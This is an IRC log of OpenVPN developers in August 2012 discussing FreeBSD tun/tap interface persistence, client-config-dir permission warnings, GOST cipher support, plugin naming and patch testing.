< plaisthos> :) 08:25 <@ecrist> openvpn is specifically calling "/sbin/ifconfig tap0 destroy" and, unless openvpn explicitly created the interface, it should NEVER destroy the interface 08:26 <@cron2> ecrist: that's what I said at 15:06. It still is not helpful if you give wrong information when I try to help figure out waht happened 08:26 <@ecrist> in our case, we have a statically configured tap interface, and all OpenVPN should do is connect to the server, and run the --up script, 08:26 <@ecrist> cron2: did I give wrong information? 08:26 <@cron2> I asked whether it was internal restart upon connection loss, or external restart of the process. you said "internal", the log clearly shows "external" 08:26 <@ecrist> ah, I did it seems. 08:27 <@ecrist> case of wrong relayed information 08:27 <@ecrist> I'm not the one troubleshooting this problem, Tom is. 08:27 <@cron2> you're right about the "never destroy", though. I just need to find out how to determine the difference at *this* point of the code - the old behaviour "just leave newly-created tapX interfaces around after openvpn exit" was similarily broken 09:36 < plaisthos> d12fk: I just noticed the >PROXY query is for UDP as well for TCP, but for UDP there is no valid proxy option or does socks works with UDP? 09:43 <@d12fk> yes socks works with both 09:45 < plaisthos> d12fk: ah okay 09:45 < plaisthos> I will simply ignore UDP :) 09:47 <@d12fk> you should send "proxy NONE" then 09:47 < plaisthos> d12fk: yes 09:48 < plaisthos> I don't know why the users has a http proxy configured and uses udp for connecting openvpn ... 09:50 < plaisthos> "Network Status: CONNECTED EDGE to mobile wap" 09:50 < plaisthos> that could explain it :) 11:03 -!- raidz_afk is now known as raidz 13:34 <+krzee> heres an idea 13:34 <+krzee> maybe a server could post a warning when it has --client-config-dir but it cant read files in it because of permissions 13:35 <+krzee> (when it drops privs) 14:26 <@dazo> ugh, that one is trickier ... as you basically would have to scan all files in that directory to check permissions ... not sure we want to do that ... 14:27 <@dazo> and there's another tricky thing with the current implementation as well ... --chroot fools the current check it a little bit too 14:27 <@dazo> but maybe we can do something about the error message when it fails to read CCD files .... 15:05 -!- dazo is now known as dazo_afk 15:24 <+krzee> dazo_afk, well you could see if you can get a file listing of the dir 15:24 <+krzee> if not, print warning 15:24 <+krzee> i understand those arent 100% =, but still close enough to give a meaningful error 15:48 < plaisthos> openvpn might not have the +r bit on the directory 15:48 < plaisthos> in this case directly opening the ccd/$client.conf works but scanning the dir fails 16:14 <+krzee> right 16:14 <+krzee> and the person will know enough to ignore the warning 16:14 <+krzee> thats what i meant by krzee> i understand those arent 100% =, but still close enough to give a meaningful error 16:16 < plaisthos> My experience with users tells me that every false warning scares them and they blame random problem on a unrelated error/warning :/ 16:18 <+krzee> "openvpn is running as $luser and cannot read the files in --client-config-dir $ccd, if your ccd files are not being read then check your file permissions on $ccd" 16:19 <+krzee> "openvpn is running as $luser and cannot read a file listing in $ccd, if your --client-config-dir files are not being read then check your file permissions on $ccd" 16:21 < plaisthos> Yes. And then someone will have an error which is unrleated to this. Like I can't ping my server. And notices this warning which he/she has seen before and will blame his error on this and demand that you fix because the warning is new 16:22 <+krzee> so there should never be warnings? 16:23 <+krzee> my experience with users is that they dont read the manual, but i also think we should continue having one ;] 16:23 < plaisthos> warning are good 16:24 < plaisthos> but difficult to understand or misleading or too general warning are often misunderstood 16:25 <+krzee> you dont think that with my wording, the only people to see the warning and not have it be a real problem are the people who know enough about file permissions to give a dir -r+x on the openvpn user? 16:25 <+krzee> and those people understand enough to know what the warning means 16:27 < plaisthos> I think there the corner cases you should think about when putting a warning like this 16:27 < plaisthos> and if you gain much by using a warning like this 16:27 < plaisthos> you could then add another warning for all the certificates in capath 16:28 < plaisthos> then maybe my user who write mails to my are the stupid ones :) 16:28 <+krzee> you havnt seen a ton of users drop permissions and not be able to access their ccd? 16:30 <+krzee> i guess by corner cases you mean if some distro ships with a umask 066 16:30 < plaisthos> I am extrapolating from the users reports on the existing warnings to what this warning might cause 16:30 < plaisthos> I am not opposed to change. I just wanted to give a bit of input :) 16:32 <+krzee> im sure some distro does ship with a umask 066 though 16:32 <+krzee> on dirs 16:37 <+krzee> actually, if a distro did have 066 it would still require the user to be aware of what the warning ays or he would have a problem 16:37 <+krzee> says* 16:39 <+krzee> im trying to think of when it would display the warning without the user specifically changing permissions to make it happen 20:02 -!- raidz is now known as raidz_afk 23:06 -!- Netsplit *.net <-> *.split quits: +krzee 23:59 -!- Netsplit over, joins: +krzee --- Day changed Tue Aug 14 2012 00:19 -!- Netsplit *.net <-> *.split quits: +krzee 02:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:12 -!- dazo_afk is now known as dazo 06:11 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:11 -!- mode/#openvpn-devel [+o andj__] by ChanServ 06:18 -!- Netsplit *.net <-> *.split quits: @andj 06:18 -!- andj__ is now known as andj 08:34 <@cron2> ecrist: " ? ? [ ] POLARSSL Build will PolarSSL instead of OpenSSL ? ? " 08:34 <@cron2> should that be "build *with* PolarSSL..."? 08:34 <@cron2> andj: any news on blowfish? is it released? 08:39 <@ecrist> yes 08:40 <@ecrist> I caught it after I sent the PR, will fix it on next update, probably next week. 08:40 <@ecrist> there's a second mistake in there, the option to install the examples, it doesn't do anything. 08:41 <@ecrist> a partial work in progress that I changed my mind on, just forgot to remove the option 08:51 <@dazo> cron2: afaik, BF isn't released yet ... and there are some disagreements regarding to the naming scheme .... The current OpenSSL implementation says "BF" ... while PolarSSL uses "BLOWFISH" .... 08:52 <@dazo> there are few other nitpicks, which I haven't had time to fully figure out ... and I've promised Paul to run some tests on PPC64 and s390x systems, to check that it works as expected there too 08:55 <@cron2> ecirst: ok, thanks :-) 08:56 <@d12fk> gnaah, the GOST patches really really didn't apply nicly to master 08:56 <@cron2> dazo: ic, thanks for the update. If we have this, I want to setup test servers with Polar as well, so this gets continuous testing 08:56 <@d12fk> taht's what you get when you're still at 2.1.1 i guess 08:57 <@d12fk> i'm preparing a patch series for the list now 08:57 <@dazo> cron2: yeah, when my workload is reduced (in 2-3 weeks), I'll have more time to poke at this again ... right now I only take more urgent or very low hanging fruits :) 09:01 <@d12fk> anyone into russian crypto?! =) 09:03 * dazo looks hopefully at andj ..... 09:05 * d12fk teasing 09:05 <@d12fk> 2012:08:14-01:48:10 afg openvpn[9134]: Control Channel: TLSv1, cipher TLSv1/SSLv3 GOST2001-GOST89-GOST89 09:06 <@d12fk> come, cooome =) 09:07 <@d12fk> or how about --engine gost --cipher gost89 --auth gost-mac 09:07 < plaisthos> GOST? 09:08 <@d12fk> plaisthos: an accomplishment of our Russian friends =) 09:08 < plaisthos> ah I googled for it and only found references to some russian standard organisation 09:09 <@d12fk> it's like we'd had a German DIN norm for a block cipher =) 09:13 < plaisthos> :) 09:13 <@d12fk> or how about: 09:13 <@d12fk> Subject Public Key Info: 09:13 <@d12fk> Public Key Algorithm: GOST R 34.10-2001 09:14 <@d12fk> Public key: 09:14 <@d12fk> X:7FB18B20C538AB017A958339006A34105017D4F3AB5502A43539CDB5B614842E 09:14 <@d12fk> Y:CC7ADD35B304766C6A7486DBA088F62D416E4589C58AD6FD303646F035B471F5 09:14 <@d12fk> Parameter set: id-GostR3410-2001-CryptoPro-A-ParamSet 09:14 <@d12fk> Signature Algorithm: GOST R 34.11-94 with GOST R 34.10-2001 09:14 <@d12fk> e9:23:f0:15:f8:4a:21:f3:c5:c7:f9:10:96:ec:e8:6f:bd:54: 09:14 <@d12fk> 4c:99:f7:f1:7e:1c:e9:72:a4:09:26:a5:d2:b4:0c:c6:e4:ba: 09:14 <@d12fk> fd:dc:b9:1a:24:61:78:1e:8d:af:e5:16:fa:9f:77:ad:89:bf: 09:14 <@d12fk> 45:00:59:c8:56:c9:24:5e:ff:c8 09:15 * d12fk is still wondering how they managed to get gost into openssl 09:16 < plaisthos> my openssl does not seem to support it 09:16 <@d12fk> it's in a engine 09:16 < plaisthos> ah okay 09:17 < plaisthos> is the --engine patch commited to openvpn? 09:17 <@d12fk> what patch? 09:18 < plaisthos> the mails with the subject "[Openvpn-devel] PATCH: SSL Engine support" 09:19 <@d12fk> doesn't seem to be 09:19 < plaisthos> ah I see the difference loading privkey from engine to engine support at all 09:20 <@d12fk> yes 09:24 < plaisthos> most OpenVPN users use probably defaults for --cipher and --auth 09:25 <@d12fk> yes, gost is only for those who need to comply to regulations 09:25 < plaisthos> oh well 09:25 <@d12fk> or the adventurous.. =) 09:25 < plaisthos> :) 09:25 < plaisthos> I think my client does not support GOST :) 09:26 <@d12fk> does `openssl engine gost` bail out? 09:27 < plaisthos> d12fk: there is not openssl binary ... 09:28 <@d12fk> ?! 09:28 < plaisthos> on Android 09:29 <@d12fk> try some real OS then =P 09:29 < plaisthos> on mac os x no gost either :P 09:30 <@d12fk> I said _real_ OS =P 09:30 < plaisthos> But it is a good idea to document the ciphers supported by android 09:31 <@d12fk> yes 09:31 <@cron2> plaisthos: is openssl part of android? 09:31 < plaisthos> cron2: yes 09:31 <@cron2> nice 09:31 <@d12fk> but then, if there's blowfish and AES you're pretty much set 09:33 < plaisthos> yes but not much more ;) 09:33 < plaisthos> http://pastebin.com/MipneksL 09:34 <@d12fk> RC2-40-CBC *caugh* 09:34 < plaisthos> the list ist basically all in the wild https ciphers 09:35 <@d12fk> then what's RIPEMD doing in there?! 09:36 < plaisthos> no idea :) 09:36 < plaisthos> perhaps some feature on android needs ripe :) 09:37 < plaisthos> there no engines apart from the keystore on android 09:37 < plaisthos> so no gost cipher :) 09:38 <@d12fk> that's a valid choice for a mobile OS i suppose 09:39 < plaisthos> altough I *could* include my own libssl.so and libcrypto.so with crazy ciphers :) 09:43 < plaisthos> but openssl libs are three times as big as openvpn itself 09:47 <@cron2> same issue on openwrt... so polar could rock big time there 09:47 <@dazo> plaisthos: which is one of more reasons why polarssl actually makes sense 09:47 <@cron2> dazo: *5* :) 09:47 <@dazo> :) 10:00 <@cron2> ecrist: uh, why does the port give me *two* openvpn-plugin-auth-pam.so, in different directories, with different file sizes? 10:00 <@cron2> /usr/local/lib/openvpn/plugins/openvpn-plugin-auth-pam.so 10:00 <@cron2> /usr/local/lib/openvpn-plugin-auth-pam.so 10:01 <@d12fk> in case one breaks, it's called high availability =) 10:01 <@dazo> redundancy :) 10:02 <@ecrist> cron2: for compatiblity at this point. 10:02 <@dazo> they are supposed to be installed on separate hard drives, for optimal reliability :) 10:02 <@cron2> compatibilty would have been "name the second one openvpn-auth-pam.so"... 10:02 <@cron2> so my setup got broken anyhow 10:03 <@cron2> it seems the second one is stripped (nm ... doesn't show any symbols). I'm not sure if that works on shlibs... 10:03 <@d12fk> aaah how i love rebeses that just run through five commits 10:04 * d12fk missis CVS not a bit 10:04 <@dazo> :) 10:04 <@ecrist> cron2: in the next push, I'll remove the /usr/local/lib one. 10:05 <@cron2> ecrist: a symlink with the old name would be useful, a stripped .so with a different name not so much 10:05 <@ecrist> naw, I don't think there should even be a symlink. 10:07 <@cron2> it would help people using the plugin to keep their installation running 10:07 <@ecrist> maybe a pkg-message on install that alerts the users to the new location? 10:08 <@dazo> +1 10:08 * cron2 was not so amused that the openvpn-auth-pam.so was gone and openvpn restart failed after portupgrade... 10:08 <@cron2> a symlink for the next round, plus a pkg-message 10:08 <@ecrist> cron2: one would argue that's something to be anticipated when running a -devel or -beta port, though... 10:08 * dazo was about to say what cron2 says 10:09 <@d12fk> it will break sooner or later 10:09 <@cron2> ecrist: I could say that even -devel ports should take care not to violate POLA 10:09 <@d12fk> so keep the breakage close to the change 10:09 <@d12fk> oh forgot BSD canot change... *duck* 10:09 <@cron2> d12fk: breaking -devel is good, but eventually he'll move what is "-devel" to port/openvpn, and breaking *that* just so will not make people happy 10:09 <@dazo> symlink + pkg-message "plug-ins will move when v2.3 is released" .... then pkg-message on the v2.3 release too "plug-ins have moved" 10:09 <@ecrist> cron2: arguably, the port isn't what's breaking things, in the new hier in 2.3 that broke it, I'm just trying to bandaid it 10:10 <@dazo> (2.3 was just an example ... can be 2.4 too) 10:11 <@cron2> pkg-message plus symlink in 2.3, removal in 2.4 would be "the BSD way" 10:11 <@d12fk> most users wll not change anything util it breaks 10:11 <@d12fk> +n 10:11 <@dazo> d12fk: yeah, but when they have received warnings about it will break in the future ... that separates the idiot sys-admins from the clever ones ;-) 10:12 <@d12fk> dazo: valid 10:13 <@ecrist> ok, next rollout will symlink $PREFIX/lib to $PREFIX/lib/openvpn/plugins 10:13 <@ecrist> and have pkg-message that cries about the change in a future release 10:13 <@cron2> ecrist: please do not forget that the *name* of the .so also changes 10:13 <@ecrist> of course 10:13 <@cron2> thanks 10:16 <@cron2> (just as a side note - I didn't notice that we've actually changed the *names* of the .so as well - and I object to it as "needless change just for change's sake", but I Just Have No Energy for yet another needless Alon fight) 10:16 <@cron2> in retrospective I'm not convinced that the build system revolution did more good than harm 10:17 <@cron2> it definitely annoys me much more than I see benefits (like the LZO library crap every time I run configure) 10:17 <@ecrist> the build system revolution is what precipitated 95% of the changes to the port, btw 10:18 <@d12fk> that's the thing with revolutions guys 10:18 <@dazo> cron2: it has certainly made Windows and cross building somewhat easier than before ... and we've kicked out an even worse python based build system for MSVC 10:18 <@cron2> d12fk: it seems to help windows building, so I can see that you and mattock like it :-) 10:19 <@d12fk> cron2: no it didn't 10:19 <@cron2> dazo: cross building "for anything that is not windows" worked perfectly well before 10:19 <@dazo> d12fk: really? 10:19 <@dazo> cron2: yeah, as long as the target platform was posix, I agree 10:20 <@d12fk> I built openvpn on cygwin with mingw before without hassle 10:20 <@d12fk> didn't really cross build though 10:20 <@d12fk> ... or did I? 10:20 <@d12fk> can't recall 10:21 <@d12fk> dougt it though 10:22 <@cron2> I think you did. As I did "building on linux with mingw". 10:24 <@d12fk> re: plugin names 10:24 <@d12fk> it's a bit redundant now, as the path gives you a hint about what it's all about already 10:25 <@d12fk> i had them renamed to auth-pam.so is I was the revolutionary 10:29 <@cron2> the renaming I object to is "openvpn-auth-pam.so" to "openvpn-plugin-auth-pam.so" 10:30 <@dazo> oh .... I thought it was auth-pam.so to openvpn-plugin-pam.so ... 10:31 * dazo obviously didn't pay enough attention there 10:31 <@dazo> sorry auth-pam.so -> openvpn-auth-pam.so rename 10:31 <@dazo> openvpn-auth-pam makes sense ... openvpn-plugin-pam less sense 10:31 <@dazo> we surely can do something about that 10:32 <@cron2> no idea when *that* happened, but that was long ago... the 2.2 port installs openvpn-auth-pam.so... 10:34 <@cron2> I'll prepare a patch and send it tonight 10:34 <@cron2> *sigh* 10:34 <@dazo> cron2: commit ce8271f5d435be963c79945f8d7eb6ea2e4369fa 10:35 <@dazo> where plug-ins are moved around 10:49 <@d12fk> anyone let me in on why the openvpn- prefix makes sense, please? 10:51 <@d12fk> I find $PREFIX/lib/openvpn/plugins/auth-pam.so and --plugin auth-pam both very appealing 10:51 <@ecrist> $PREFIX/lib/openvpn/plugins/* is fine with me 10:52 <@ecrist> either that, or $PREFIX/lib/openvpn-plugin-* 11:10 -!- raidz_afk is now known as raidz 11:53 <@cron2> d12fk: well, it used to be $PREFIX/lib/openvpn-auth-pam.so 11:53 <@cron2> d12fk: I'm not sending a patch to remove the "-plugin-" from openvpn-plugin-auth-pam if we need to have a long discussion first on where it should be 12:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:23 -!- dazo is now known as dazo_afk 14:04 * cron2 is getting very confused about OpenVPN on FreeBSD 14:20 <@ecrist> how so, cron2? 14:21 <@cron2> ls -l /dev/tun* shows *nothing*. If you do "file /dev/tun3" as non-root, it will tell you "no such file". If you do that as root, it tells you "character special device", and from then on, you have a "ifconfig tun3" device... 14:22 <@cron2> the fact that devfs is hiding nodes that are "magically there" is different from the way devfs works on linux, where dynamic devices *are* there if you "ls" 14:22 <@ecrist> cron2: that seems backwards to me 14:22 <@ecrist> by the nature of dynamic 14:22 <@ecrist> freebsd doesn't know you want a tun3 until you go look for it 14:23 <@ecrist> if you expect /dev/tun* to work, how many should devfs create? 14:23 <@cron2> ecrist: freebsd should at least show me /dev/tun if the manpage says "you can open dat" 14:23 <@cron2> (which it doesnt) 14:23 <@cron2> and *that* is backwards to me, not showing devices in "stat" (you can do "ls -l /dev/tun" and it will error) but having them in "open") 14:24 <@cron2> well, surprising at least 14:24 <@ecrist> oh, I understand what you're looking for 14:24 <@cron2> I was trying to figure out why openvpn is causing troubles for you now, and wasn't in 2.2, and I think I found out about it now 14:25 <@ecrist> it doesn't work for non-root, because, generally, non-root don't have perm to create special devices 14:25 <@cron2> oh 14:25 <@cron2> gert@fbsd74:/home/gert/test/openvpn$ ls -l /dev/tun 14:25 <@cron2> ls: /dev/tun: No such file or directory 14:25 <@cron2> gert@fbsd74:/home/gert/test/openvpn$ SU ls -l /dev/tun 14:25 <@cron2> crw------- 1 uucp dialer 0, 112 Jan 23 2012 /dev/tun 14:25 <@cron2> now that's interesting :) 14:25 <@cron2> it gets more interesting 14:25 <@cron2> gert@fbsd74:/home/gert/test/openvpn$ SU ls -l /dev/tun4 14:25 <@cron2> crw------- 1 uucp dialer 0, 119 Jan 23 2012 /dev/tun4 14:25 <@cron2> gert@fbsd74:/home/gert/test/openvpn$ ifconfig -a 14:25 <@cron2> tun4: flags=8010<POINTOPOINT,MULTICAST> metric 0 mtu 1500 14:25 <@ecrist> looks to me like they borrowed code from the ppp stack for tun/tap 14:26 <@cron2> so the "ls" will actually *create* the device if you do it as root 14:26 <@ecrist> since ppp would use uucp/dialer 14:26 <@ecrist> yes, cron2 14:26 <@cron2> ls is not calling open() but stat()... that should not cause magic device incantation 14:27 <@cron2> anyway 14:27 <@ecrist> devfs will create the device once you go looking for it 14:27 <@cron2> creating the /dev/ node is fine with me, but it also creates the "ifconfig" node 14:27 <@ecrist> well, it's one and the same 14:27 <@cron2> but I now understand what I was looking for, and can now go and figure out how to fix openvpn 14:27 <@ecrist> :D 14:47 <@cron2> so, mail sent, waiting for feedback... 14:51 <@cron2> ecrist: if it's really urgent to you, you can quickly hack around it 14:52 <@cron2> go to tun.c, find "close_tun() for TARGET_FREEBSD" (around line 2305), and remove the argv_msg() call here: 14:52 <@cron2> crap 14:52 <@cron2> remove the openvpn_execve_check() 14:52 <@cron2> openvpn_execve_check (&argv, NULL, 0, "FreeBSD 'destroy tun interface' failed (non-critical)"); 14:52 <@cron2> that's what is killing your tap device 15:02 <@ecrist> we just downgraded to 2.2 15:04 <@ecrist> cron2: if a tunX device exists, ls /dev/tun* will return it 15:04 <@ecrist> if it returns nothing, and tun1 is created (for example), I think it's fair to delete it upon exit 15:56 <@cron2> ecrist: calling readdir() on /dev/ is about as hacky as calling ifconfig... 15:56 <@cron2> you can't use "stat" to check for /dev/tunX, as that will not only check for it, but also *create* it - so you need to read all of it (what "ls /dev/tun*" does, under the hood, in the calling shell) and look for the name 15:57 <@cron2> so that would be quite some extra code 16:01 < plaisthos> dazo_afk: as for polarssl, that is a no go for me since I need the engine/rsa_method support of openssl 19:19 -!- raidz is now known as raidz_afk 19:48 <@ecrist> hacky is as hacky does --- Day changed Wed Aug 15 2012 03:51 <@d12fk> cron2: re plugin path, putting them into /lib directly is a bit messy /lib/openvpn would suffice, but then a plugin prefix would make a bit sense 04:02 <@d12fk> git st 04:03 <@d12fk> upps, sorry 04:07 -!- dazo_afk is now known as dazo 04:20 <@cron2> d12fk: I'm not sure that "plugin" as part of the name ever makes sense - there's no other shared libraries there... 04:21 <@d12fk> not yet 04:23 <@dazo> I would say that the 'plugin' as part of the filename isn't needed, especially if it is residing in a plugin directory 04:39 <@cron2> dazo: while you're around, let's change topic from this particular bikeshed to ecrist's FreeBSD / persistant-interface issue... 04:39 <@cron2> what do we *want* OpenVPN to do here? 04:39 <@dazo> in /usr/lib/openvpn ? 04:39 <@dazo> ahh 04:40 * dazo resets his mind 04:40 <@cron2> nah, the "it removes tap interfaces that should be persistant" 04:40 <@dazo> yeah 04:40 <@cron2> nothing with file names, paths, ... :) 04:41 <@dazo> Generally speaking ... I would say: If openvpn creates the device, it removes it when it is done .... if it exists when openvpn starts, it leaves it as is 04:41 <@cron2> yeah, which brings up the interesting question that there is no "nice" way on FreeBSD to figure out whether the device is already there 04:42 <@cron2> stat("/dev/tun3") will *create* tun3 on-the-fly, as will access() 04:42 <@dazo> the only exception is if --persist-tun is used together with --mktun ... where it creates it if it doesn't exist, and leaves it at exit 04:42 <@dazo> ahhh 04:42 <@cron2> --mktun is currently linux-only, as everything else can just do "ifconfig tun5 create" 04:42 <@dazo> ahh, okay, didn't know that 04:43 <@dazo> hmm ... and there are no other way to figure out if /dev/tun* exists? 04:43 <@cron2> it's #idefdef ENABLE_FEATURE_TUN_PERSIST, 04:43 <@cron2> (mktun, that is) 04:44 <@cron2> dazo: well, there are two ways - opendir/readdir on /dev and "look for tunX", and "call ifconfig tunX and see whether you get an error" 04:44 <@cron2> (plus maybe "use RT_NETLINK" to see what's there) 04:44 <@cron2> but that's all not exactly nice additions to open_tun_generic()... 04:44 <@dazo> yeah, that's what I see 04:45 <@dazo> but on the other hand ... that's what we got to play with to make it behave identical on all (*nix) platforms 04:45 <@cron2> hah 04:45 <@dazo> hehe :) 04:46 <@cron2> NetBSD is totally different regarding tap devices - they auto-destruct, so we don't have to worry at all, but they need to be created differently (open /dev/tap and ask for the number, instead of open /dev/tapX) 04:47 <@dazo> well, I know code complexity isn't a good thing ... but I'm thinking also from the user perspective ... similar behaviour across all platforms is more important, IMO ... that makes configs easier to migrate from one place to another one 04:47 <@cron2> that's why I thought about the "lightweight" approach - if "--dev tun" or "--dev tap" is used, auto-create and auto-destroy interface 04:47 <@cron2> if "--dev tunX" or "--dev tapY" is used, leave behind 04:48 <@cron2> mmmh 04:48 <@dazo> And what if the user starts openvpn with --dev tunX ... stops openvpn and restarts it again? what happens there? 04:48 <@cron2> it will just use the tunX device created previously 04:49 <@cron2> looking into RT_NETLINK might indeed be worthwile, that goes into its own function and should work across all BSDs to answer the question "is this interface already there?" 04:49 <@dazo> okay ... and what if a user starts with --dev tunX then starts another process with --dev tun, then stops --dev tunX and restarts --dev tun .... the second restart will go from tun1 to tun0, right? 04:50 <@cron2> well, if the first was started with --dev tun4, then --dev tun will end up on tun*0* 04:51 <@cron2> if the first was started with --dev tun0, then --dev tun (->tun1), then stop --dev tun0, then restart --dev tun, then it will indeed get the "leftover" tun0 04:51 <@dazo> oh, true 04:51 <@cron2> but mixing static-tun-on-low-numbers and dynamic-tun will cause problems no matter what we do 04:51 <@cron2> (because restarting --dev tun0 later on would find tun0 busy) 04:54 <@dazo> I'm concerned about this issue ... another situation: a user having a tunnel started at boot time (using --dev tun0) and then have a adhoc connection from time-to-time using --dev tun .... and then for some reasons, the openvpn restarts - and restarts in the wrong order .... if you then have device specific firewall rules, this can also cause some fun issues 04:55 <@cron2> "user error" 04:55 <@dazo> :) 04:55 <@cron2> there is no way to get this right, as "--dev tun0" can also be dynamically created 04:55 <@cron2> so the "other" process wouldn't even know that there was a tun0 at some time 04:56 <@cron2> if you want fixed devices plus dynamic devices, use high numbers fo the fixed ones 04:56 <@dazo> yeah, exactly ... but if both processes restarts, and the kernel scheduler priorities the the --dev tun process before --dev tun0, will make the last one fail 04:56 <@cron2> see above :) 04:57 <@dazo> yeah, that's the sane approach ... it's just that our users might not be that sane ... most often they are not 04:57 <@dazo> (and I've even considered some times to leave #openvpn to not loose my mind completely) 04:58 * cron2 hasn't read #openvpn or openvpn-users in months :-) 04:58 <@cron2> I trust you folks (ecrist, krzee, ...) to bring over real problems in the code 04:58 <@dazo> People will shoot themselves in the foot unless there's a big yellow warning triangle on their foot saying "This will make you suffer" 04:58 <@cron2> but regarding the problem: we should add a warning to the man page 04:59 <@cron2> (even with the warning label, some might use that for taking aim, because it's so nicely visible...) 04:59 <@dazo> lol 05:00 <@dazo> cron2: can we please have a quick look at how ifconfig on *BSD does the "which interfaces do we got" stuff? I would expect it to be some ioctl() calls, tbh ... 05:01 <@cron2> that's the plan, go to "netstat -i" or "ifconfig" source and steal 05:01 <@cron2> s/steal/share/ :) 05:05 <@cron2> oh 05:05 <@dazo> :) 05:05 <@cron2> nice 05:05 <@cron2> there's if_nametoindex3) 05:05 <@cron2> if_nametoindex, if_indextoname, if_nameindex, if_freenameindex -- provide 05:05 <@cron2> mappings between interface names and indexes 05:05 <@cron2> DESCRIPTION The if_nametoindex() function maps the interface name specified in ifname to its corresponding index. If the specified interface does not exist, it returns 0. 05:06 <@dazo> ahhh ... yeah that sounds nicer 05:06 <@cron2> STANDARDS These functions are defined in ``Basic Socket Interface Extensions for IPv6'' (RFC 2533). 05:06 <@cron2> even better 05:07 <@cron2> omg, it even exists on Linux 05:08 <@dazo> cool! 05:09 <@cron2> (just for the record, I find "SU ls /dev/tun2" a pretty sick way to create a "tun2" interface...) 05:09 <@cron2> works 05:10 <@dazo> that's ugly 05:10 * dazo is actually happy Linux don't have /dev/$NETDEV nodes 05:10 <@cron2> any file op that accesses the specific device node (open, stat, access) will auto-instanciate it 05:10 <@cron2> I find it nice for open(), and sick for stat and access 05:11 <@dazo> cron2: that sounds like a way how to do a DoS attack .... fill up /dev with network nodes .... and if there's a memory leak in the tun driver, it's an added bonus 05:12 <@cron2> dazo: you need root do do that. If you're non-root, it will give you ENOENT 05:12 <@cron2> if you're root, your pwn3d anyway 05:12 <@dazo> true enough, okay ... at least some barriers 05:20 <@cron2> meh 05:20 <@cron2> clear_tuntap (struct tuntap *tuntap) 05:20 <@cron2> { CLEAR (*tuntap); 05:20 <@cron2> tuntap->ipv6 = false; 05:20 <@cron2> } 05:22 <@cron2> oh, as for system differences... on *Open*BSD, if you use /dev/tun3 to create a "tun3", and close it, the tun3 interface will automagically disappear 05:22 <@cron2> OTOH, if you create it with "ifconfig tun3 create" beforehand, open/close /dev/tun3 will keep the interface around 05:22 <@cron2> now that's a nice interface... :-) 05:22 <@dazo> actually, it is :) 05:24 <@cron2> ... but of course they break that for tap interfaces... 05:24 <@dazo> duh 05:24 <@cron2> a tap is a tun with "ifconfig $if link0" set... and that's sufficient to make it stick 05:24 <@cron2> tun.c is nice reading if you're in need of a headache :-) 05:25 <@dazo> :) 05:25 <@cron2> (I'm actually quite proud that a) it *work* now for tun/tap across all systems, and b) the nasty exceptions are documented in comments, with pointers to the corresponding man page) 05:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:35 <@cron2> *sigh* 05:35 <@cron2> we have a gazillion close_tun() functions, that all have a big 05:36 <@cron2> if (tt) 05:36 <@cron2> { 05:36 <@cron2> ... 05:36 <@cron2> } 05:36 <@cron2> bracket around *all* of it 05:36 <@cron2> instead of just checking if(c->c1.tuntap) in the *one* caller function of close_tun() 05:38 <@cron2> .oO(and I can't understand why close_tun_generic() will free some structure elements of tt, clear the rest, but not clear the tt pointer itself, while at it...) 05:38 <@cron2> lots of refactoring needed in tun.c in 2.4 05:46 <@cron2> Wed Aug 15 13:50:22 2012 TUN/TAP device tun3 exists previously, keep at program end 05:46 <@cron2> Wed Aug 15 13:50:22 2012 TUN/TAP device /dev/tun3 opened 05:46 <@cron2> works, though I do not have a bridge setup around to verify 05:47 <@dazo> kick the patch to ecrist and see what happens :) 05:47 * dazo wonders if krzee tested the RFC patch I sent yesterday 05:55 <@cron2> ecrist: you have mail 05:55 <@cron2> (patch send to list as well) 05:55 * cron2 leaves now, entertain family for the rest of today, but most important work done :-) 05:59 <@cron2> plaisthos: now is your chance to review-and-nag-about a patch of mine :-) 06:00 <@cron2> afk 06:03 <+krzee> i did not test, but i liked it :) 06:26 <@dazo> krzee: would you be able to test it? To see if it solves the issue we believe it does? I only compile-tested it, never "feature tested" it ... but in theory, it should do what it says 06:26 <+krzee> sure 06:28 <+krzee> which source would you like it against? 2.3a3? 06:29 <@dazo> krzee: yeah, that should be closest 06:29 <@dazo> it's based on master, but it should apply easily on 2.3a3 06:31 <@dazo> If this looks like a good thing, we can consider to backport it to 2.2 - *if* we decide to release another v2.2 with more fixes .... but this patch alone won't warrant another 2.2 release 06:37 <+krzee> im looking in multi.c to patch by hand but i dont see: 06:37 <+krzee> multi_connection_established (struct multi_context *m, struct 06:37 <+krzee> multi_instance *mi 06:37 <+krzee> &option_types_found, 06:38 <+krzee> 1589 is the only instance of "multi_connection_established (struct multi_context *m, struct" 06:38 <+krzee> is it possible that multi.c went through some overhaul recently that isnt in alpha3? 06:39 <+krzee> !git 06:39 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git, or (#5) If you have problems, relax: 06:39 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 06:48 <+krzee> patching file src/openvpn/multi.c 06:48 <+krzee> patch: **** malformed patch at line 5: multi_instance *mi 06:48 <+krzee> err i mean 06:48 <+krzee> patching file src/openvpn/multi.c 06:49 <@dazo> krzee: your mail client probably didn't save the patch properly ... and added line wraps or so 06:49 <+krzee> Hunk #1 FAILED at 1659. 06:49 <+krzee> 1 out of 1 hunk FAILED -- saving rejects to file src/openvpn/multi.c.rej 06:49 <@dazo> ahh, that's something else ... 06:49 * dazo will do a rebase to 2.3a3 06:49 <+krzee> that was openvpn-testing 06:49 <@dazo> then it wasn't an updated 'master' branch 06:49 <+krzee> although 2.3a3 would allow me to do this on freebsd, better 06:50 <+krzee> i dont feel like installing git on that box ;] 06:50 <@dazo> no worries :) 06:52 <@dazo> krzee: try this one 06:52 <@dazo> http://www.fpaste.org/5kwz/raw/ 06:53 